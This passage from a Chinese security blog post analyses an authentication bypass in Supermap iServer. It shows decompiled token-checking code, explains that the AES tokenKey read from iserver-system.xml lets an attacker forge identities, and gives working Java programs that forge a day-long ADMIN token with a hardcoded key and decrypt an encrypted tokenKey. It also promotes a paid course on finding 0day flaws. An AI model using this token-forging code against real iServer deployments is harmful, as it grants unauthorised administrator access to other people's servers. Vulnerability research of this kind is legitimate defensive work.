&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw&nbsp;new&nbsp;HttpException(Status.CLIENT_ERROR_UNAUTHORIZED, a.getMessage(SecurityManageResource.EXTRAINFOFILTER_TOKEN_INVALID,&nbsp;new&nbsp;Object[0]));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;if&nbsp;(org.apache.commons.lang3.StringUtils.isNotEmpty(var1.refererURL)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; String&nbsp;var4&nbsp;=&nbsp;var0.getHeader("referer");
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(org.apache.commons.lang3.StringUtils.isEmpty(var4) || !var4.startsWith(var1.refererURL)) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw&nbsp;new&nbsp;HttpException(Status.CLIENT_ERROR_UNAUTHORIZED, a.getMessage(SecurityManageResource.EXTRAINFOFILTER_TOKEN_INVALID,&nbsp;new&nbsp;Object[0]));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }

&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // token有效性判断
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; if&nbsp;(System.currentTimeMillis() > var1.expirationTimeMillis) {
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; throw&nbsp;new&nbsp;HttpException(Status.CLIENT_ERROR_UNAUTHORIZED, a.getMessage(SecurityManageResource.EXTRAINFOFILTER_TOKEN_INVALID,&nbsp;new&nbsp;Object[0]));
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }&nbsp;else&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; // 构造token
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; return&nbsp;(new&nbsp;BuiltInToken(var2)).principal(getToken(var0),&nbsp;"digestrealm").permission(new&nbsp;String[]{"denied:webmanager"}).lookupPermission(true).lookupRole(true);
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; &nbsp; &nbsp; }
&nbsp; &nbsp; }

&nbsp; &nbsp; private&nbsp;static&nbsp;void&nbsp;a(HttpServletRequest var0, HttpServletResponse var1, UsernamePasswordToken var2)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; ShiroUtil.login(var0, var1, var2);
&nbsp; &nbsp; &nbsp; &nbsp; Subject&nbsp;var3&nbsp;=&nbsp;SecurityUtils.getSubject();
&nbsp; &nbsp; &nbsp; &nbsp; var0.setAttribute("subject", var3);
&nbsp; &nbsp; &nbsp; &nbsp; var0.setAttribute("logout",&nbsp;"true");
&nbsp; &nbsp; }

&nbsp; &nbsp; public&nbsp;static&nbsp;void&nbsp;login(HttpServletRequest request, HttpServletResponse response, UsernamePasswordToken usernamePasswordToken)&nbsp;{
&nbsp; &nbsp; &nbsp; &nbsp; Subject&nbsp;var3&nbsp;=&nbsp;getSubject(request, response);
&nbsp; &nbsp; &nbsp; &nbsp; a(var3, request, usernamePasswordToken);
&nbsp; &nbsp; }

可以看到这里有个关键值就是这个TokenKey，也就是AES密钥，它的来源位于com.supermap.server.host.webapp.handlers.SecurityHandler#d方法，也就是Supermap iServer配置文件里面的tokenKey

之所以是配置文件里面的tokenKey原因是这个SecuritySetting本质上就是从iserver-system.xml解析得到的

以上便是我们要拿到tokenkey的原因，因为有了它我们便可以自己构造身份信息，这里尝试构造了一个凭据信息可以看到进入触发如下调用，成功构造出了身份信息了也就实现了权限绕过

通过前面分析我们知道有了tokenKey并可以实现权限绕过，在读取到配置文件并拿到tokenKey之后我们就可以通过如下代码自己构造凭据

import&nbsp;com.supermap.services.util.AESCipher;

import&nbsp;java.io.UnsupportedEncodingException;

public&nbsp;class&nbsp;GenToken&nbsp;{
&nbsp; &nbsp; public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp;UnsupportedEncodingException {
&nbsp; &nbsp; &nbsp; &nbsp; long&nbsp;now&nbsp;=&nbsp;System.currentTimeMillis();
&nbsp; &nbsp; &nbsp; &nbsp; long&nbsp;oneDayLater&nbsp;=&nbsp;now +&nbsp;24&nbsp;*&nbsp;60&nbsp;*&nbsp;60&nbsp;*&nbsp;1000;
&nbsp; &nbsp; &nbsp; &nbsp; // ADMIN是管理员名
&nbsp; &nbsp; &nbsp; &nbsp; String token="ADMIN#;_&_&;#"+oneDayLater+"#;_&_&;#NONE#;_&_&;#NONE";
&nbsp; &nbsp; &nbsp; &nbsp; // tokenkey
&nbsp; &nbsp; &nbsp; &nbsp; AESCipher&nbsp;var4&nbsp;=&nbsp;new&nbsp;AESCipher("cd821aeb3eaa448ea3fc4a610f199f8a");
&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(var4.encrypt(token));
&nbsp; &nbsp; }
}

不过实战读取的时候一般是加密的情况，如本文开头所示。在前面分析过tokenKey来自于com.supermap.server.config.impl.XMLConfigImpl#b(java.io.File)读取配置文件获取到的

这一块在启动阶段完成的初始化，我们想要获取解密后的tokenkey有两种方法，读取目标的配置信息把里面的加密tokenkey替换到自己本地iserver里面，然后debug查看解密后的tokenkey，相当于就是利用iserver自身解密功能把他当作一个解密工具，还有一种方法就是debug解密逻辑，这里在com.supermap.server.config.impl.SystemConfigParser#getSecuritySetting方法下断重启debug解密逻辑

这里通过一步一步debug发现最终会调用com.supermap.services.util.StringEncryptionUtil#decrypt(java.lang.String)方法解密tokenKey

可以看到，当tokenKey是加密数据的时候会调用com.supermap.services.util.StringEncryptionUtil#a()方法创建解密器解密，其内部逻辑较为麻烦，实战场景建议直接写Java利用工具，引用其自身库解密，或者让AI进行代码转换

这里给出解密示例

import&nbsp;com.supermap.services.util.StringEncryptionUtil;

public&nbsp;class&nbsp;TokenkeyDecrypt&nbsp;{
&nbsp; &nbsp; public&nbsp;static&nbsp;void&nbsp;main(String[] args)&nbsp;throws&nbsp;Exception {
&nbsp; &nbsp; &nbsp; &nbsp; System.out.println(StringEncryptionUtil.decrypt("ENC@[xxxx]"));
&nbsp; &nbsp; }
}

后台RCE

SecurityHandler当中的逻辑懂的都懂

最后

本文当中所提及内容均来自实战代码审计班课程内容，关于该产品更加深入利用手法可以咨询课程

顺便再推荐一下我师傅的代码审计课程。近期某统一认证产品的课程章节已结束，马上开启某报表的章节，感兴趣的朋友可以尽快加入。课程中包含各类产品最新补丁对应的 0day 漏洞（非水洞）的挖掘与分析；过往课程也涵盖多款市面产品的 0day / 1day / nday 漏洞案例讲解。课程后续会持续更新推进，支持一次报名长期学习与答疑。适合真正对代码审计感兴趣、或想系统学习但缺少思路与方法体系的同学（如有其他目的请勿打扰）。对基础要求不高，能读懂代码即可，真正帮助你从只能读懂代码到找到问题。个人学习过程中受益良多，特此分享推荐给希望提升自己的朋友（非广告）。若有打扰，敬请见谅。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：红细胞安全实验室路人甲
路人甲《Supermap iServer历史漏洞浅析(下)》

Tags: WEB安全代码审计安全工具实战经验漏洞分析

你可能错过

10月17日专题会议：数据安全防护与治理前沿学术会议

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)

2026年人工智能大模型安全众测结果发布

【漏洞通告】Cisco ISE远程代码执行漏洞（CVE-2026-20211)